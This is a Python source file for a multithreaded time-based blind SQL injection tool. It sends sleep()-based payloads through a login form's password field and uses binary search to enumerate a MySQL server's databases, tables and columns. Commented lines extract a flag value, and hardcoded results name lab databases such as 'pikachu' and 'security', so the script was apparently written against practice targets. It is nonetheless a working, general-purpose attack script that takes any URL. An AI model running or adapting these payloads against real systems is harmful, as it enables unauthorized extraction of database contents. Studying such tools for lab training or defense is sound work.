import requests
import sys
import time
import pdb
import threading
from concurrent.futures import ThreadPoolExecutor




class Injection():
    def __init__(self):
        self.url = ""
        #self.scheNum=0
        self.scheNum=7
        #self.scheLen = []
        self.scheLen = [18, 10, 5, 5, 18, 7, 8]
        #self.scheName = []
        #self.scheName = ['information_schema','challenges','jf123','mysql','performance_schema','pikachu','security']
        #self.scheName = [['information_schema', 40], ['challenges', 1], ['jf123', 1], ['mysql', 24], ['performance_schema', 17], ['pikachu', 5], ['security', 4]]
        #self.scheName = [['information_schema', 40, 14, 10, 37, 7, 17, 7, 6, 5, 13, 16, 16, 10, 10, 7, 11, 9, 23, 8, 8, 17, 14, 17, 10, 6, 11, 17, 16, 8, 15, 5, 18, 10, 24, 17, 13, 10, 12, 19, 16, 22], ['challenges', 1, 10], ['jf123', 1, 10], ['mysql', 24, 12, 2, 5, 4, 11, 13, 12, 13, 10, 4, 16, 6, 4, 10, 12, 7, 8, 11, 9, 21, 14, 20, 25, 4], ['performance_schema', 17, 14, 20, 20, 25, 32, 40, 40, 14, 26, 24, 15, 18, 16, 15, 17, 12, 7], ['pikachu', 5, 8, 6, 7, 5, 8], ['security', 4, 6, 8, 7, 5]]
        self.scheName = [['information_schema', 40, 'CHARACTER_SETS', 'COLLATIONS', 'COLLATION_CHARACTER_SET_APPLICABILITY', 'COLUMNS', 'COLUMN_PRIVILEGES', 'ENGINES', 'EVENTS', 'FILES', 'GLOBAL_STATUS', 'GLOBAL_VARIABLES', 'KEY_COLUMN_USAGE', 'PARAMETERS', 'PARTITIONS', 'PLUGINS', 'PROCESSLIST', 'PROFILING', 'REFERENTIAL_CONSTRAINTS', 'ROUTINES', 'SCHEMATA', 'SCHEMA_PRIVILEGES', 'SESSION_STATUS', 'SESSION_VARIABLES', 'STATISTICS', 'TABLES', 'TABLESPACES', 'TABLE_CONSTRAINTS', 'TABLE_PRIVILEGES', 'TRIGGERS', 'USER_PRIVILEGES', 'VIEWS', 'INNODB_BUFFER_PAGE', 'INNODB_TRX', 'INNODB_BUFFER_POOL_STATS', 'INNODB_LOCK_WAITS', 'INNODB_CMPMEM', 'INNODB_CMP', 'INNODB_LOCKS', 'INNODB_CMPMEM_RESET', 'INNODB_CMP_RESET', 'INNODB_BUFFER_PAGE_LRU'], ['challenges', 1, 'kefgu88kuc'], ['jf123', 1, 'jf_content'], ['mysql', 24, 'columns_priv', 'db', 'event', 'func', 'general_log', 'help_category', 'help_keyword', 'help_relation', 'help_topic', 'host', 'ndb_binlog_index', 'plugin', 'proc', 'procs_priv', 'proxies_priv', 'servers', 'slow_log', 'tables_priv', 'time_zone', 'time_zone_leap_second', 'time_zone_name', 'time_zone_transition', 'time_zone_transition_type', 'user'], ['performance_schema', 17, 'cond_instances', 'events_waits_current', 'events_waits_history', 'events_waits_history_long', 'events_waits_summary_by_instance', 'events_waits_summary_by_thread_by_event_', 'events_waits_summary_global_by_event_nam', 'file_instances', 'file_summary_by_event_name', 'file_summary_by_instance', 'mutex_instances', 'performance_timers', 'rwlock_instances', 'setup_consumers', 'setup_instruments', 'setup_timers', 'threads'], ['pikachu', 5, 'httpinfo', 'member', 'message', 'users', 'xssblind'], ['security', 4, 'emails', 'referers', 'uagents', 'users']] 
        self.headers = {"Content-Type":"application/x-www-form-urlencoded"}
        self.information_schema_GLOBAL_STATUS = [2]
        self.information_schema_GLOBAL_VARIABLES = [2]
        self.information_schema_REFERENTIAL_CONSTRAINTS = [11]
        self.information_schema_PLUGINS = [11]
        self.information_schema_COLLATIONS = [6]
        self.information_schema_TABLE_CONSTRAINTS = [6]
        self.information_schema_TABLES = [21]
        self.information_schema_COLLATION_CHARACTER_SET_APPLICABILITY = [2]
        self.information_schema_SESSION_VARIABLES = [2]
        self.information_schema_SESSION_STATUS = [2]
        self.information_schema_ENGINES = [6]
        self.information_schema_TABLE_PRIVILEGES = [6]
        self.information_schema_KEY_COLUMN_USAGE = [12]
        self.information_schema_TRIGGERS = [22]
        self.information_schema_INNODB_CMPMEM = [6]
        self.information_schema_COLUMN_PRIVILEGES = [7]
        self.information_schema_STATISTICS = [16]
        self.information_schema_CHARACTER_SETS = [4]
        self.information_schema_PROCESSLIST = [8]
        self.information_schema_USER_PRIVILEGES = [4]
        self.information_schema_INNODB_CMP = [6]
        self.information_schema_INNODB_CMPMEM_RESET = [6]
        self.information_schema_INNODB_CMP_RESET = [6]
        self.information_schema_SCHEMA_PRIVILEGES = [5]
        self.information_schema_PR_ILING = [18]
        self.information_schema_EVENTS = [24]
        self.information_schema_INNODB_TRX = [22]
        self.information_schema_INNODB_LOCK_WAITS = [4]
        self.mysql_general_log = [6]
        self.information_schema_TABLESPACES = [9]
        self.information_schema_SCHEMATA = [5]
        self.mysql_help_relation = [2]
        self.mysql_help_keyword = [2]
        self.jf123_jf_content = [13]
        self.mysql_help_topic = [6]
        self.challenges_kefgu88kuc = [4]
        self.information_schema_FILES = [38]
        self.information_schema_VIEWS = [10]
        self.information_schema_COLUMNS = [19]
        self.information_schema_PARAMETERS = [15]
        self.mysql_plugin = [2]
        self.information_schema_INNODB_BUFFER_POOL_STATS = [32]
        self.mysql_columns_priv = [7]
        self.information_schema_PARTITIONS = [25]
        self.mysql_db = [22]
        self.performance_schema_events_waits_summary_global_by_event_nam = [1]
        self.mysql_event = [22]
        self.mysql_func = [4]
        self.performance_schema_events_waits_summary_by_thread_by_event_ = [1]
        self.mysql_slow_log = [11]
        self.mysql_ndb_binlog_index = [7]
        self.mysql_help_category = [4]
        self.mysql_time_zone = [2]
        self.mysql_time_zone_leap_second = [2]
        self.mysql_time_zone_transition = [3]
        self.mysql_time_zone_name = [2]
        self.information_schema_ROUTINES = [30]
        self.performance_schema_cond_instances = [2]
        self.mysql_procs_priv = [8]
        self.mysql_proxies_priv = [7]
        self.performance_schema_file_instances = [3]
        self.information_schema_INNODB_LOCKS = [10]
        self.performance_schema_mutex_instances = [3]
        self.performance_schema_file_summary_by_instance = [6]
        self.performance_schema_setup_consumers = [2]
        self.mysql_tables_priv = [8]
        self.performance_schema_threads = [3]
        self.performance_schema_setup_timers = [2]
        self.pikachu_httpinfo = [6]
        self.performance_schema_setup_instruments = [3]
        self.pikachu_message = [3]
        self.information_schema_INNODB_BUFFER_PAGE = [20]
        self.performance_schema_events_waits_current = [16]
        self.performance_schema_events_waits_history = [16]
        self.performance_schema_events_waits_history_long = [16]
        self.mysql_servers = [9]
        self.performance_schema_events_waits_summary_by_instance = [7]
        self.security_emails = [2]
        self.security_referers = [3]
        self.performance_schema_rwlock_instances = [4]
        self.performance_schema_performance_timers = [4]
        self.security_users = [3]
        self.information_schema_INNODB_BUFFER_PAGE_LRU = [20]
        self.mysql_time_zone_transition_type = [5]
        self.pikachu_member = [7]
        self.pikachu_users = [4]
        self.pikachu_xssblind = [4]
        self.performance_schema_file_summary_by_event_name = [5]
        self.security_uagents = [4]
        self.mysql_host = [20]
        self.mysql_proc = [20]
        self.mysql_user = [42]
    def schemaNum(self):
        high = 30
        low = 1
        mid = (low + high) // 2
        while high > low:
            payload = f"1' or if((select count(schema_name) from information_schema.schemata)>{mid},sleep(5),0)-- +"       #查库名
            #payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#"        #查表名
            #payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#"        #查列名
            #payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#"       #查数据
            data = {
                "uname":"admin",
                "passwd":payload,
                "submit":"Submit"
            }        
            last = int(time.time())
            try:
                res = requests.post(self.url, data = data)
            except Exception as e:
                print(e) 
            finally:
                now = int(time.time())
            if now - last >5 :    
                low = mid
            else :
                high = mid
            mid = (low + high) // 2
            if mid==low and high-low==1:
                #print("The Number of schema is {}".format(high))
                self.scheNum=high
                #break
                return
        #print(low,mid)
        self.scheNum=mid
    def usage(self):
        if len(sys.argv)!=2:
            print('The number of parameter number not right')
            print('Usage:python3 %s url '% sys.argv[0])
            print("Example:python3 postInjection.py http://192.168.62.249/login.php username=admin&password=admin password")
            sys.exit(-1)
        self.url = sys.argv[1] 
    def schemataLength(self):
        #pdb.set_trace()
        for i in range(self.scheNum):
            high = 30
            low = 1
            mid = (low + high) // 2
            flag=0
            while high > low:
                #print(high,low,mid,end=" ")
                payload = f"1' or if((select length(schema_name) from information_schema.schemata limit {i},1)>{mid},sleep(1),0)#"       #查库名
                data = {
                    "uname":"admin",
                    "passwd":payload,
                    "submit":"Submit"
                }        
                last = int(time.time())
                try:
                    res = requests.post(self.url,headers=self.headers,data = data)
                except Exception as e:
                    print(e)
                finally:
                    now = int(time.time())
                #pdb.set_trace()
                #print(now-last)
                if now - last >5 :    
                    low = mid
                else :
                    high = mid
                mid = (low + high) // 2 
                if mid==low and high-low==1:
                    self.scheLen.append(high)
                    flag=1
                    break
            if flag==1:
                continue
            self.scheLen.append(mid)
    def schemaName(self,theNumDBName,l): # n[1] is the number of databases ;n[2] is the database name length
        name=""
        for i in range(1,l+1):
            high = 127
            low = 32
            mid = (low + high) // 2 
            flag=0
            #pdb.set_trace()
            while high > low:
                payload = f"1' or if(ascii(substr((select schema_name from information_schema.schemata limit {theNumDBName},1),{i},1))>{mid},sleep(0.5),0);-- +"       #查库名
                data = {
                    "uname":"admin",
                    "passwd":payload,
                    "submit":"Submit"
                }        
                last = int(time.time())
                try:
                    res = requests.post(self.url, data = data)
                except Exception as e:
                    print(e) 
                finally:
                    now = int(time.time())
                if now - last >5 :    
                    low = mid
                else :
                    high = mid
                mid = (low + high) // 2
                #print(high,low,mid,name)
                if mid==low and high-low==1:
                    name += chr(int(high))
                    flag=1
                    break
            if flag==1:
                continue
            name += chr(int(low))
        self.scheName.append(name)
    def schethreadMan(self):    #managent the multithread
        t=[]
        for i in range(0,len(self.scheLen)):
            t.append(threading.Thread(target=self.schemaName,args=(i,self.scheLen[i])))
        for i in t:
            i.start()
        for i in t:
            i.join()
    def tablesNum(self,n,scheName): #n :the number of databases ;scheName: the name of the number database 
        high = 40
        low = 0
        mid = (low + high) // 2
        while high > low:
            # guess the tables number of database
            payload = f"1'or if((select count(table_name) from information_schema.tables where table_schema= \'{scheName}\')>{mid},sleep(0.5),0)-- +" 
            data = {
                "uname":"admin",
                "passwd":payload,
                "submit":"Submit"
            }        
            last = int(time.time())
            try:
                res = requests.post(self.url, data = data)
            except Exception as e:
                print(e) 
            finally:
                now = int(time.time())
            if now - last >5 :    
                low = mid
            else :
                high = mid
            mid = (low + high) // 2
            if mid==low and high-low==1:
                #print("The Number of schema is {}".format(high))
                print(f"the {scheName} database has {high} tables")
                self.scheName[n] = [scheName,high]
                #break
                return
        print(f"the {scheName} database has {mid} tables")
        self.scheName[n] = [scheName,mid]
    def tablesThreadMan(self):
        t=[]
        for i in range(0,len(self.scheName)):
            t.append(threading.Thread(target=self.tablesNum,args=(i,self.scheName[i])))
        for i in t:
            i.start()
        for i in t:
            i.join()
    def tableNameLength(self,n,scheName,l): #guess the table name length
        #pdb.set_trace()
        for i in range(l):
            high = 50
            low = 1
            mid = (low + high) // 2
            flag=0
            while high > low:
                #print(high,low,mid,end=" ")
                payload = f"1' or if((select length(table_name) from information_schema.tables where table_schema='{scheName}' limit {i},1)>{mid},sleep(0.5),0)-- +" 
                data = {
                    "uname":"admin",
                    "passwd":payload,
                    "submit":"Submit"
                }        
                last = int(time.time())
                try:
                    res = requests.post(self.url,headers=self.headers,data = data)
                except Exception as e:
                    print(e)
                finally:
                    now = int(time.time())
                #pdb.set_trace()
                #print(now-last)
                if now - last >5 :    
                    low = mid
                else :
                    high = mid
                mid = (low + high) // 2 
                if mid==low and high-low==1:
                    self.scheName[n].append(high)
                    print(f"the {scheName} database the {i+1} table name length:{high}")
                    flag=1
                    break
            if flag==1:
                continue
            self.scheName[n].append(high)
            print(f"the {scheName} database the {i+1} table name length:{mid}")
    def tableNameLengthThreadMan(self):
        t=[]
        #t.append(threading.Thread(target=self.tableNameLength,args=(0,self.scheName[0][0],self.scheName[0][1])))
        #t[0].start()
        #t[0].join()
        for i in range(0,len(self.scheName)):
            t.append(threading.Thread(target=self.tableNameLength,args=(i,self.scheName[i][0],self.scheName[i][1])))
        for i in t:
            i.start()
        for i in t:
            i.join()
    def tableName(self,n1,scheName,l,n2): # n1:the number of database; scheName :schema name ;l :the table length ;n2: the number of table
        name=""
        for i in range(1,l+1):
            high = 127
            low = 32
            mid = (low + high) // 2 
            flag=0
            #pdb.set_trace()
            while high > low:
                #guess the table name
                payload = f"1' or if(ascii(substr((select table_name from information_schema.tables where table_schema = \'{scheName}\' limit {n2-2},1),{i},1))>{mid},sleep(0.5),1);-- +"
                data = {
                    "uname":"admin",
                    "passwd":payload,
                    "submit":"Submit"
                }        
                last = int(time.time())
                try:
                    res = requests.post(self.url, data = data)
                except Exception as e:
                    print(e) 
                finally:
                    now = int(time.time())
                if now - last > 5 :    
                    low = mid
                else :
                    high = mid
                mid = (low + high) // 2
                #print(high,low,mid,name)
                if mid == low and high - low == 1:
                    name += chr(int(high))
                    flag = 1
                    break
            if flag==1:
                continue
            name += chr(int(low))
        self.scheName[n1][n2] = name
        print(f"the {scheName} database {n2-1} table name is:{name}")
    def tableNameThreadMan(self):
        thread_pool = ThreadPoolExecutor(max_workers = 30) # max_workers指定了复用线程的最大数量     
        for i in range(len(self.scheName)):
            for j in  range(2,len(self.scheName[i])):
                future = thread_pool.submit(self.tableName,i,self.scheName[i][0],self.scheName[i][j],j)
        #future = thread_pool.submit(self.tableName,0,self.scheName[0][0],self.scheName[0][2],2)
        thread_pool.shutdown(wait=True)
    def columnsNum(self,scheName,tableName): #scheName: the name of the number database ;tableName:the table name
        high = 50
        low = 0
        if not hasattr(inject,str(scheName)+"_"+str(tableName)):
            setattr(inject,str(scheName)+"_"+str(tableName),[])
        mid = (low + high) // 2
        #pdb.set_trace()
        while high > low:
            # guess the columns number of table
            payload = f"1' or if((select count(column_name) from information_schema.columns where table_schema = \'{scheName}\' and table_name = \'{tableName}\') >{mid},sleep(0.5),0) -- +" 
            data = {
                "uname":"admin",
                "passwd":payload,
                "submit":"Submit"
            }        
            last = int(time.time())
            try:
                res = requests.post(self.url, data = data)
            except Exception as e:
                print(e) 
            finally:
                now = int(time.time())
            if now - last >5 :    
                low = mid
            else :
                high = mid
            mid = (low + high) // 2
            #pdb.set_trace()
            if mid==low and high-low==1:
                #print("The Number of schema is {}".format(high))
                #print(f"the {scheName} database {tableName} tables has {high} columns")
                #setattr(inject,str(scheName)+"_"+str(tableName),((getattr(inject,str(scheName)+"_"+str(tableName))).append(high)))
                temp = getattr(inject,str(scheName)+"_"+str(tableName))
                temp.append(high)     
                setattr(inject,str(scheName)+"_"+str(tableName),temp)  
                print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
                return
        #print(f"the {scheName} database {tableName} tables has {high} columns")
        temp = getattr(inject,str(scheName)+"_"+str(tableName))
        temp.append(high)     
        setattr(inject,str(scheName)+"_"+str(tableName),temp)
        print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
    def columnsNumThreadMan(self):
        #pdb.set_trace()
        thread_pool = ThreadPoolExecutor(max_workers = 30) # max_workers指定了复用线程的最大数量     
        for i in range(len(self.scheName)):
            for j in  range(2,len(self.scheName[i])):
                future = thread_pool.submit(self.columnsNum,self.scheName[i][0],self.scheName[i][j])
        thread_pool.shutdown(wait=True)
    def columnsNameLength(self,scheName,tableName): #guess the table name length
        temp=getattr(inject,str(scheName)+"_"+str(tableName))
        columnsNum = getattr(inject,str(scheName)+"_"+str(tableName))[0]
        #pdb.set_trace()
        for i in range(columnsNum):
            high = 40
            low = 1
            mid = (low + high) // 2
            flag=0
            while high > low:
                #print(high,low,mid,end=" ")
                payload = f"1' or if((select length(column_name) from information_schema.columns where table_schema=\'{scheName}\' and table_name = \'{tableName}\' limit {i},1)>{mid},sleep(0.5),0)-- +" 
                data = {
                    "uname":"admin",
                    "passwd":payload,
                    "submit":"Submit"
                }        
                last = int(time.time())
                try:
                    res = requests.post(self.url,headers=self.headers,data = data)
                except Exception as e:
                    print(e)
                finally:
                    now = int(time.time())
                #pdb.set_trace()
                #print(now-last)
                if now - last >5 :    
                    low = mid
                else :
                    high = mid
                mid = (low + high) // 2 
                if mid==low and high-low==1:
                    #print("The Number of schema is {}".format(high))
                    #print(f"the {scheName} database {tableName} tables the {i+1} column {high} has {high} character")
                    #setattr(self.__class__,str(scheName)+"_"+str(tableName),((getattr(self.__class__,str(scheName)+"_"+str(tableName))).append(high)))
                    temp = getattr(inject,str(scheName)+"_"+str(tableName))   #读取类属性值
                    temp.append(high)       #将字段名长度添加到类属性
                    setattr(inject,str(scheName)+"_"+str(tableName),temp)  #临时值重置到类属性值
                    #print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
                    flag=1
                    break
            if flag == 1:
                continue
            #print(f"the {scheName} database {tableName} tables has {high} columns")
            temp = getattr(inject,str(scheName)+"_"+str(tableName))   #读取类属性值
            temp.append(high)       #将字段名长度添加到类属性
            setattr(inject,str(scheName)+"_"+str(tableName),temp)  #临时值重置到类属性值
            #print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
        print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
    def columnsLengthThreadMan(self):
        #pdb.set_trace()
        thread_pool = ThreadPoolExecutor(max_workers = 30) # max_workers指定了复用线程的最大数量     
        for i in range(len(self.scheName)):
            for j in  range(2,len(self.scheName[i])):
               future = thread_pool.submit(self.columnsNameLength,self.scheName[i][0],self.scheName[i][j])
        #future = thread_pool.submit(self.columnsNameLength,self.scheName[0][0],self.scheName[0][2])
        thread_pool.shutdown(wait=True)        
if __name__ == '__main__':
    #    pdb.set_trace()
    inject = Injection()
    inject.usage()
    #inject.schemataLength()
    #inject.schethreadMan()
    #inject.schemataNum()
    #print(inject.scheNum)
    #inject.tablesThreadMan()
    #inject.tableNameThreadMan()
    #print(inject.scheName)
    #inject.columnsNumThreadMan()
    inject.columnsLengthThreadMan()